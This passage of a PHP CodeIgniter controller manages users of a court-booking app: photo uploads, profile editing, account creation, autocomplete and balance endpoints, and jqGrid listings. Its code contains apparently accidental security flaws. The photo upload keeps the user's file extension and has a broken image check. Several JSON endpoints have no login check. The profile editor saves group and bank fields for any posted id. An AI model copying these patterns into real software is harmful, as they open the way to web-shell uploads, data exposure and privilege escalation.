src="'.base_url().'js/jquery.maskedinput-1.2.2.min.js"></script>'."\r\n"; $proximo_pago = intval($this->users->getLastPrepaidMovement($code_user)) + 1; if($profile->group <= 5) $cancelUrl = site_url('users'); else $cancelUrl = site_url(); $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true), //'form_name' => 'formDetail', 'page' => 'users/add_prepaid', 'grupo' => $profile->group, 'cancelUrl' => $cancelUrl, 'proximo_pago' => $proximo_pago, 'codigo_pedido' => $codigo_pedido, 'pre_ammount' => $this->users->getPrepaidCash($code_user), 'user_desc' => $this->users->getUserDesc($code_user), 'control' => md5($code_user), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); /* pintar */ } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } } # ------------------------------------------------------------------- # Funcion que guarda la imagen del usuario activo # ------------------------------------------------------------------- function upload_photo($usuario) { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { //print("<pre>"); //print_r($_POST); //print_r($_FILES); //exit(); log_message('debug', 'FILES: '.var_export($_FILES, true)); if($_FILES['archivo']['size'] > 300000) { $this->session->set_userdata('error_message', 'El tama&ntilde;o del fichero excede el m&aacute;ximo (300KB).'); redirect(site_url('users/detail/'.$usuario), 'Location'); exit(); } if(strstr($_FILES['archivo']['size'], 'image')) { $this->session->set_userdata('error_message', 'El fichero enviado no es una imagen con formato v&aacute;lido.'); redirect(site_url('users/detail/'.$usuario), 'Location'); exit(); } $raiz = $this->config->item('root_path'); if(!isset($raiz) || $raiz=='') { $this->session->set_userdata('error_message', 'Problema en la configuraci&oacute;n. Contacte con el administrador.'); redirect(site_url('users/detail/'.$usuario), 'Location'); exit(); } $troceo = explode('.', $_FILES['archivo']['name']); $extension = $troceo[count($troceo)-1]; $ruta_destino = $raiz.'images/users/'.$usuario.'.'.$extension; log_message('debug', $_FILES['archivo']['tmp_name']. ' --- ' .$ruta_destino); if(file_exists($_FILES['archivo']['tmp_name'])) { log_message('debug', 'fichero existe'); if(is_dir($_FILES['archivo']['tmp_name'])) log_message('debug', 'es directorio'); else log_message('debug', ' es fichero'); } else log_message('debug', 'fichero No existe'); //echo $ruta_destino; //exit(); if(file_exists($ruta_destino)) @unlink($ruta_destino); @copy($_FILES['archivo']['tmp_name'], $ruta_destino); $this->users->setAvatar($usuario, $extension); $this->session->set_userdata('info_message', 'Fotograf&iacute;a actualizada.'); redirect(site_url('users/detail/'.$usuario), 'Location'); exit(); } } # ------------------------------------------------------------------- # Funcion que actualiza los datos de un usuario # ------------------------------------------------------------------- function edit_user() { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { //$active_user_init = $this->input->post('user_active'); $allow_phone_notification = $this->input->post('allow_phone_notification'); $allow_mail_notification = $this->input->post('allow_mail_notification'); $active_user = $this->input->post('user_active'); # Cargo datos previos a grabar, para comprobar valores de antes y despues. $code_user = $this->input->post('id_user'); $array_result = $this->users->get_user($code_user); $nivel_a_grabar = $this->input->post('group_id'); //if ($active_user_init == "1") $active_user = '1'; //print("<pre>");print_r($_POST);//exit(); $arrayUser = array( 'id' => $this->input->post('id_user'), 'first_name' => $this->input->post('first_name'), 'last_name' => $this->input->post('last_name'), 'group_id' => $this->input->post('group_id'), 'group_description' => $this->input->post('group_description'), 'code' => $this->input->post('code'), 'email' => $this->input->post('email'), 'active' => $active_user, 'phone' => $this->input->post('user_phone'), 'mobile_phone' => $this->input->post('mobile_phone'), 'address' => $this->input->post('address'), 'cp' => $this->input->post('cp'), 'population' => $this->input->post('population'), 'code_province' => $this->input->post('code_province'), 'code_country' => $this->input->post('code_country'), 'gender' => $this->input->post('gender'), 'nif' => $this->input->post('nif'), 'birth_date' => date($this->config->item('date_db_format'), strtotime($this->input->post('birth_date'))), 'bank' => $this->input->post('bank'), 'bank_office' => $this->input->post('bank_office'), 'bank_dc' => $this->input->post('bank_dc'), 'bank_account' => $this->input->post('bank_account'), 'bank_titular' => $this->input->post('bank_titular'), 'bank_iban' => $this->input->post('bank_iban'), 'bank_bic' => $this->input->post('bank_bic'), 'allow_phone_notification' => $allow_phone_notification, 'allow_mail_notification' => $allow_mail_notification, 'reto_lunes' => $this->input->post('lunes'), 'reto_martes' => $this->input->post('martes'), 'reto_miercoles' => $this->input->post('miercoles'), 'reto_jueves' => $this->input->post('jueves'), 'reto_viernes' => $this->input->post('viernes'), 'reto_sabado' => $this->input->post('sabado'), 'reto_domingo' => $this->input->post('domingo'), 'reto_manana' => $this->input->post('manana'), 'reto_tarde' => $this->input->post('tardes'), 'reto_finde' => $this->input->post('finde'), 'reto_notifica' => $this->input->post('avisar_retos'), 'player_level' => $this->input->post('player_level'), ); if(($this->input->post('code_price'))) $arrayUser['code_price'] = $this->input->post('code_price'); if(($this->input->post('notas'))) $arrayUser['notas'] = $this->input->post('notas'); $numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group'); $numero_socio_auto = $this->config->item('users_member_number_auto'); if(!isset($numero_socio_auto)) $numero_socio_auto = FALSE; //echo '--'.$nivel_a_grabar;print_r($numero_socio_visible_grupos);print_r($array_result); if((!isset($array_result['numero_socio']) || $array_result['numero_socio']=='' || $array_result['numero_socio']=='0') && $numero_socio_visible_grupos[$nivel_a_grabar] && $numero_socio_auto) $arrayUser['numero_socio'] = $this->users->getNextMemberNumber(); elseif($numero_socio_visible_grupos[$nivel_a_grabar] && !$numero_socio_auto) $arrayUser['numero_socio'] = $this->input->post('code'); //print("<pre>");print_r($arrayUser); //exit(); $result = $this->users->save_user($arrayUser); if ($result) { /* introducir mensaje */ $this->session->set_userdata('info_message', 'El usuario se ha modificado correctamente'); } else { /* introducir mensaje */ /*print 'Error';*/ } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } $this->session->set_userdata('info_message', 'Grabado satisfactoriamente'); $returnUrl = $this->session->userdata('returnUrl'); $this->session->unset_userdata('returnUrl'); if($returnUrl!='') redirect($returnUrl, 'Location'); redirect(site_url('users/detail/'.$this->input->post('id_user')), 'Location'); exit(); //$this->detail($this->input->post('id_user')); } # ------------------------------------------------------------------- # Funcion que muestra el formulario para crear un usuario # ------------------------------------------------------------------- function new_user() { $this->load->model('redux_auth_model', 'users', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->config->item('auto_password')) $auto_password = TRUE; else $auto_password = FALSE; if($this->redux_auth->logged_in()) { # Carga de niveles para la vista $array_groups = $this->users->get_groups(array('exclude_anonymous' => TRUE)); # Carga de datos para la vista $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'filters' => $this->load->view('reservas_gest/filters', array('search_fields' => $this->simpleSearchFields()), true), 'form' => 'formDetail', 'page' => 'users/user_new', 'auto_password' => $auto_password, 'array_groups' => $array_groups, //'enable_grid' => 1, //'js_grid' => $grid_js, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); /* pintar */ } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } } # ------------------------------------------------------------------- # Funcion que responde a la peticion JSON del autocompletar del formulario de usuarios .. # ------------------------------------------------------------------- function get_Names($filtro=NULL) { //$q = $this->input->post('q',TRUE); //if (!$q) return; // form dropdown and myql get countries $this->load->model('redux_auth_model', 'users', TRUE); $campos_extra = $this->config->item('users_search_extra_info'); $array_users = $this->users->getActiveUsersArray($filtro, '', $campos_extra); // go foreach /* foreach($users->result() as $user) { $items[$user->user_id] = $user->first_name; }*/ $usuarios=array(); foreach($array_users as $code => $value) if($code!="") array_push($usuarios, array('id' => $code, 'label' => $value, 'value' => $value)); //print("<pre>");print_r($array_users);print_r($usuarios);print("</pre>"); //echo '{"tags":'. json_encode($array_users) .'}'; echo json_encode($usuarios); } # ------------------------------------------------------------------- # Funcion que responde a la peticion para saber el saldo # ------------------------------------------------------------------- function getPrepaidCash($user) { $this->load->model('redux_auth_model', 'users', TRUE); echo $this->users->getPrepaidCash($user); } # ------------------------------------------------------------------- # Funcion que muestra el formulario para crear un usuario # ------------------------------------------------------------------- function create_user() { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->library('redux_auth'); if($this->redux_auth->logged_in()) { $active_user_init = $this->input->post('user_active'); $active_user = '0'; if ($active_user_init == "on") $active_user = '1'; $arrayUser = array( 'first_name' => ucwords($this->input->post('first_name')), 'last_name' => ucwords($this->input->post('last_name')), 'group_id' => $this->input->post('group_id'), 'group_description' => $this->input->post('group_description'), 'email' => strtolower($this->input->post('email')), 'active' => $active_user, 'phone' => $this->input->post('user_phone'), 'mobile_phone' => $this->input->post('mobile_phone'), 'password' => $this->input->post('password_user') ); $id_user = $this->redux_auth->register($this->input->post('password_user'), $this->input->post('email'), FALSE, TRUE); if ($id_user) { $data = $this->users->get_user($id_user); $numero_socio_visible = $this->config->item('users_member_number_visibility'); if($numero_socio_visible) { $numero_socio_visible_grupos = $this->config->item('users_member_number_visibility_by_group'); //echo '--'.$nivel_a_grabar;print_r($numero_socio_visible_grupos); if($numero_socio_visible_grupos[$arrayUser['group_id']]) { $numero_socio = $this->users->getNextMemberNumber(); //echo '-----------'.$numero_socio; $this->users->setMemberNumber($data['user_id'], $numero_socio); // Activo el usuario } } $this->redux_auth->activate($data['activation_code']); // Activo el usuario //print("<pre>");print_r($data);print_r($numero_socio_visible_grupos); echo '<br> grupo: '.$arrayUser['group_id'];exit(); //echo site_url('users/detail/'.$data['user_id']);exit(); /* introducir mensaje */ //$this->detail($user_id); redirect(site_url('users/detail/'.$data['user_id']), 'Location'); exit(); } else { /* introducir mensaje */ /*print 'Error';*/ //$this->new_user(); $this->session->set_userdata('error_message', 'Usuario no creado. Problemas con los datos facilitados.'); redirect(site_url('users/new_user'), 'Location'); exit(); } } else { # Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio redirect(site_url(), 'Location'); exit(); } } function get_users_list() { /*if (!isset($term)) { $term = 'A'; }*/ $this->load->model('redux_auth_model', 'users', TRUE); //$this->output->set_header($this->config->item('json_header')); $return_array = $this->users->get_users_list(); //print_r($return_array); //return $return_array; //$data=array('page' => 'gestion/list_users', // 'array_user' => $return_array, // 'term' => $term); echo json_encode($return_array); //$this->load->view('gestion/list_users', $data); } # ------------------------------------------------------------------- # Funcion que devuelve listado de todos los usuarios # ------------------------------------------------------------------- function ajax_list_all() { $this->load->model('redux_auth_model', 'users', TRUE); //List of all fields that can be sortable. This is Optional. //This prevents that a user sorts by a column that we dont want him to access, or that doesnt exist, preventing errors. $valid_fields = array('id_booking','date','intervalo','courts.name','zz_paymentway.description','zz_booking_status.description','price','id_user','user_desc','no_cost'); $this->flexigrid->validate_post('first_name','asc',$valid_fields); $add_where=$this->session->flashdata('where'); $records = $this->users->get_global_list($add_where); $this->output->set_header($this->config->item('json_header')); /* * Json build WITH json_encode. If you do not have this function please read * http://flexigrid.eyeviewdesign.com/index.php/flexigrid/example#s3 to know how to use the alternative */ $buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0; foreach ($records['records']->result() as $row) { //print_r($row); /* CAMBIO, PREGUNTAR A JUANJO */ /*$active=1; if($row->activation_code!='') $active=0;*/ // NUEVO CODIGO PEPE $active = $row->active; /* FIN NUEVO CAMBIO */ /*$active_out=img( array('src'=>'images/accept.png', "align"=>"absmiddle", "title"=>"Activo", "border"=>"0"));; if($row->activation_code!='') { $active_out=img( array('src'=>'images/close.png', "title"=>"Inactivo", "align"=>"absmiddle", "border"=>"0")); $active=0;} / /* $butt_array=array(); array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar saldo prepago\');" ><img value="12" border=\'0\' "title"="Gestion de prepago" src=\''.$this->config->item('base_url').'images/coins.png\'></a>'); array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Ver detalle del usuario\');" ><img value="12" border=\'0\' "title"="Ver detalle" src=\''.$this->config->item('base_url').'images/magnifier.png\'></a>'); $buttons=implode(' ', $butt_array);*/ if($active) $button1= '<img id="activar" "title"="Desactivar usuario" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>'; else $button1= '<img id="activar" border=\'0\' "title"="Activar usuario" src=\''.$this->config->item('base_url').'images/close.png\'>'; $button2= '<a href=\'#detail\'><img value="12" border=\'0\' "title"="Ver detalle" src=\''.$this->config->item('base_url').'images/edit.gif\'></a>'; $button3= '<img value="12" border=\'0\' "title"="Gestion de prepago" src=\''.$this->config->item('base_url').'images/coins.png\'>'; $button4= '<img value="12" border=\'0\' "title"="Reservas activas" src=\''.$this->config->item('base_url').'images/history.gif\'>'; $button5= '<img value="12" border=\'0\' "title"="Cambiar password" src=\''.$this->config->item('base_url').'images/pass.gif\'>'; $record_items[] = array( $row->id, $row->id, $row->first_name.' '.$row->last_name, $row->email, $row->group_desc, $row->phone, $row->create_time, $button1, $button5, $button2, $button3, $button4 ); } //Print please //print("<pre>");print_r($record_items);print("</pre>"); $this->output->set_output($this->flexigrid->json_build($records['record_count'],$record_items)); } function simpleSearchFields($options=array()) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } ######################### ## CREACION DE FILTROS ###### //$page_id=$this->app_common->get_page_id(); //echo $page_id; /* $filtros=$this->session->userdata('filters'); if(!isset($filtros)) $this->session->set_userdata('filters', array()); if(!isset($filtros[$page_id])) $filtros[$page_id]= array(); */ $filter_array=array(); $selected_name=$this->input->post('first_name'); $selected_last_name=$this->input->post('last_name'); $selected_phone=$this->input->post('phone'); $selected_group=$this->input->post('group'); $selected_active=$this->input->post('active'); if($selected_active!='' || $selected_active==='') $selected_active=$selected_active; else $selected_active = '1'; $selected_email=$this->input->post('email'); $selected_code=$this->input->post('id'); # Filtro de usuario if(!isset($options['first_name']) || $options['first_name']=="1") { if(isset($options) && count($options)!=1) { $contenido=array('name' => 'first_name', 'desc' => 'Nombre', 'default' => $selected_name, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'first_name', 'type' => 'text', 'value' => $selected_name); array_push($filter_array, $contenido); } } # Filtro de apellido if(!isset($options['last_name']) || $options['last_name']=="1") { if(isset($options) && count($options)!=1) { $contenido=array('name' => 'last_name', 'desc' => 'Apellido', 'default' => $selected_last_name, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'last_name', 'type' => 'text', 'value' => $selected_last_name); array_push($filter_array, $contenido); } } # Filtro de email if(!isset($options['email']) || $options['email']=="1") { if(isset($options) && count($options)!=1) { $contenido=array('name' => 'email', 'desc' => 'Email', 'default' => $selected_email, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'email', 'type' => 'text', 'value' => $selected_email); array_push($filter_array, $contenido); } } # Filtro de telefono if(!isset($options['phone']) || $options['phone']=="1") { if(isset($options) && count($options)!=1) { $contenido=array('name' => 'phone', 'desc' => 'Telefono', 'default' => $selected_phone, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'phone', 'type' => 'text', 'value' => $selected_phone); array_push($filter_array, $contenido); } } # Filtro de nivel if(!isset($options['group']) || $options['group']=="1") { $options_=$this->users->get_groups(); $options=array('' => ''); foreach($options_ as $option) $options[$option['id']]=$option['description']; if(isset($options) && count($options)!=1) { $contenido=array('name' => 'group', 'desc' => 'Grupo', 'default' => $selected_group, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'group', 'type' => 'select', 'value' => $options); array_push($filter_array, $contenido); } } # Filtro de activo if(!isset($options['group']) || $options['group']=="1") { $options=array('' => '', '1'=> 'Activo', '0' => 'Inactivo'); if(isset($options) && count($options)!=1) { $contenido=array('name' => 'active', 'desc' => 'Estado', 'default' => $selected_active, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'active', 'type' => 'select', 'value' => $options); array_push($filter_array, $contenido); } } return $filter_array; } # ------------------------------------------------------------------- # Listado general de las reservas usando el jqGrid # ------------------------------------------------------------------- # ------------------------------------------------------------------- function reservas($usuario = NULL) { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $code_user = $profile->id; $profiles_visualization = $this->config->item('profiles_visualization_permission'); if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) { $this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } # Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos if(isset($usuario) && $usuario!='') $code_user = $usuario; $colmodel = " {name:'id_transaction',index:'id_transaction', width:1, align:'center',hidden:true}, {name:'fecha',index:'fecha', width:12, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'}, {name:'inicio', index:'inicio', width:10, align:'center', editable:true}, {name:'final', index:'intervalo', width:10, align:'center', editable:true}, {name:'court_name',index:'court_name', width:20, align:'center'}, {name:'status_desc', index:'status_desc', width:15, align:'center'}, {name:'paymentway_desc', index:'paymentway_desc', width:15, align:'center'}, {name:'price', index:'price', width:10, align:'center'}, {name:'light_desc', index:'price_light', width:10, align:'center'}, {name:'no_cost',index:'no_cost', width:10, align:'center', sortable:false}"; $colnames = "'Id','Fecha','Inicio','Final','Pista', 'Estado', 'Forma de pago', 'Precio', 'Luz', 'Sin coste'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "reservas_gest/jqgrid_list_by_user/".$code_user, 'title' => 'Listado de reservas', 'default_orderfield' => 'date', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; # Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true); else $submenu = $this->load->view('users/submenu_navegacion', array(), true); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('users/reservas', array('grid_code' => $grid_code, 'enable_buttons' => FALSE, 'menu_lateral' => NULL), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_userdata('returnUrl', site_url('users/reservas/'.$code_user)); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # Listado general de los pagos usando el jqGrid # ------------------------------------------------------------------- # ------------------------------------------------------------------- function pagos($usuario = NULL) { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $code_user = $profile->id; $profiles_visualization = $this->config->item('profiles_visualization_permission'); $panel_permission = $this->config->item('bookings_visualization_permission'); if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) { $this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } # Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos if(isset($usuario) && $usuario!='') $code_user = $usuario; $colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true}, {name:'id_type_desc',index:'zz_payment_type.description', width:13, align:'center'}, {name:'paymentway_desc', index:'zz_paymentway.description', width:10, align:'center'}, {name:'quantity', index:'payments.quantity', width:6, align:'center'}, {name:'status_desc', index:'zz_payment_status.description', width:10, align:'center'}, {name:'fecha_valor', index:'DATE_FORMAT(DATE(payments.fecha_valor),\'%d-%m-%Y\')', width:12, align:'center'}, {name:'datetime', index:'DATE_FORMAT(DATE(payments.datetime),\'%d-%m-%Y\')', width:20, align:'center'}, {name:'description', index:'payments.description', width:50, align:'center'}"; $colnames = "'Id','Concepto','Forma', '&euro;', 'Estado', 'Fecha Valor', 'Momento pago', 'Descripcion'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "facturacion/jqgrid_list_by_user/".$code_user, 'title' => 'Listado de pagos', 'default_orderfield' => 'datetime', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; # Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true); else $submenu = $this->load->view('users/submenu_navegacion', array(), true); $permisos = array('change_status' => FALSE, 'return_payment' => FALSE, 'cancel_payment' => FALSE, 'new_payment' => FALSE, 'view_receipt' => FALSE, 'export_excel' => FALSE); $this->load->config('facturacion'); $payment_change_status_permission = $this->config->item('payment_pendiente_change_status_permission'); $permisos['change_status'] = $payment_change_status_permission[$user_group]; $payment_repay_permission = $this->config->item('payment_repay_permission'); $permisos['repay_payment'] = $payment_repay_permission[$user_group]; $payment_devolver = $this->config->item('payment_devuelto_change_status_permission'); $permisos['return_payment'] = $payment_devolver[$user_group]; $payment_cancelar = $this->config->item('payment_cancel_change_status_permission'); $permisos['cancel_payment'] = $payment_cancelar[$user_group]; $payment_nuevo = $this->config->item('payment_add_custom_permission'); $permisos['new_payment'] = $payment_nuevo[$user_group]; $payment_dev = $this->config->item('payment_add_custom_devolution_permission'); $permisos['new_devolution'] = $payment_dev[$user_group]; $payment_recibo = $this->config->item('payment_view_receipt_permission'); $permisos['view_receipt'] = $payment_recibo[$user_group]; $extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('users/pagos', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'permisos' => $permisos, 'menu_lateral' => NULL, 'code_user' => $code_user), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_userdata('returnUrl', site_url('users/pagos/'.$code_user)); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # Listado general de las clases a las que estรก apuntado el usuario # ------------------------------------------------------------------- # ------------------------------------------------------------------- function clases($usuario=NULL) { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $code_user = $profile->id; $profiles_visualization = $this->config->item('profiles_visualization_permission'); $panel_permission = $this->config->item('bookings_visualization_permission'); if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) { $this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } # Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos if(isset($usuario) && $usuario!='') $code_user = $usuario; $this->load->model('Reservas_model', 'reservas', TRUE); $deportes = ':All;'.$this->reservas->getSportsArray('json'); $colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true}, {name:'description',index:'lessons.description', width:25, align:'center', datefmt:'dd/mm/Y', date:true}, {name:'sport_desc', index:'zz_sports.description', width:10, align:'center',stype:'select', searchoptions:{value:'".$deportes."'}}, {name:'court_desc', index:'court_desc', width:10, align:'center'}, {name:'dia_semana', index:'weekday', width:10, align:'center', editable:true}, {name:'rango_fechas', index:'start_date', width:20, align:'center', editable:true}, {name:'rango_horas',index:'start_time', width:12, align:'center'}, {name:'plazas', index:'max_vacancies', width:8, align:'center'}, {name:'profesor', index:'meta.first_name', width:15, align:'center'}"; $colnames = "'Id','Nombre', 'Deporte', 'Pista','Dia','Fechas','Horario', 'Plazas', 'Profesor'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "lessons/jqgrid_list_all/none/".$code_user, 'title' => 'Listado de cursos', 'default_orderfield' => 'sport_desc', 'default_orderway' => 'asc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '820', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 820px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; $menu_lateral = $this->load->view('lessons/menu_lateral', '', true); # Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true); else $submenu = $this->load->view('users/submenu_navegacion', array(), true); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $submenu), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'form_name' => 'frmGrid', 'main_content' => $this->load->view('users/clases', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL, 'code_user' => $code_user), true), //'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->session->set_userdata('returnUrl', site_url('users/clases/'.$code_user)); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } # ------------------------------------------------------------------- # Listado general de los partidos en los que participa el usuario # ------------------------------------------------------------------- # ------------------------------------------------------------------- function partidos($usuario = NULL) { $this->load->helper('jqgrid'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; $code_user = $profile->id; $profiles_visualization = $this->config->item('profiles_visualization_permission'); if(!$profiles_visualization[$user_group] && isset($usuario) && ($usuario != $profile->id)) { $this->session->set_userdata('error_message', 'Acceso a ese perfil de usuario no permitido'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } # Si estoy viendo las reservas d eotro usuario, sobreescribo la variable de usuario activo para ver sus datos if(isset($usuario) && $usuario!='') $code_user = $usuario; $colmodel = " {name:'id_transaction',index:'id_transaction', width:1, align:'center',hidden:true}, {name:'fecha',index:'fecha', width:12, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'}, {name:'inicio', index:'inicio', width:10, align:'center', editable:true}, {name:'final', index:'intervalo', width:10, align:'center', editable:true}, {name:'court_name',index:'court_name', width:20, align:'center'}, {name:'user_desc',index:'user_desc', width:40, align:'center'}"; $colnames = "'Id','Fecha','Inicio','Final','Pista', 'Reservado por'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "reservas_gest/jqgrid_list_by_user_shared/".$code_user, 'title' => 'Listado de partidos', 'default_orderfield' => 'date', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>'; # Si llega usuario definido (es decir, estoy viendo el perfil de otro usuario) cargo el submenรบ especial que propaga el codigo de usuario if(isset($usuario) && $usuario !='') $submenu = $this->load->view('users/submenu_navegacion_detail', array(), true); else $submenu = $this->load->view('users/submenu_navegacion', array(), true); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), 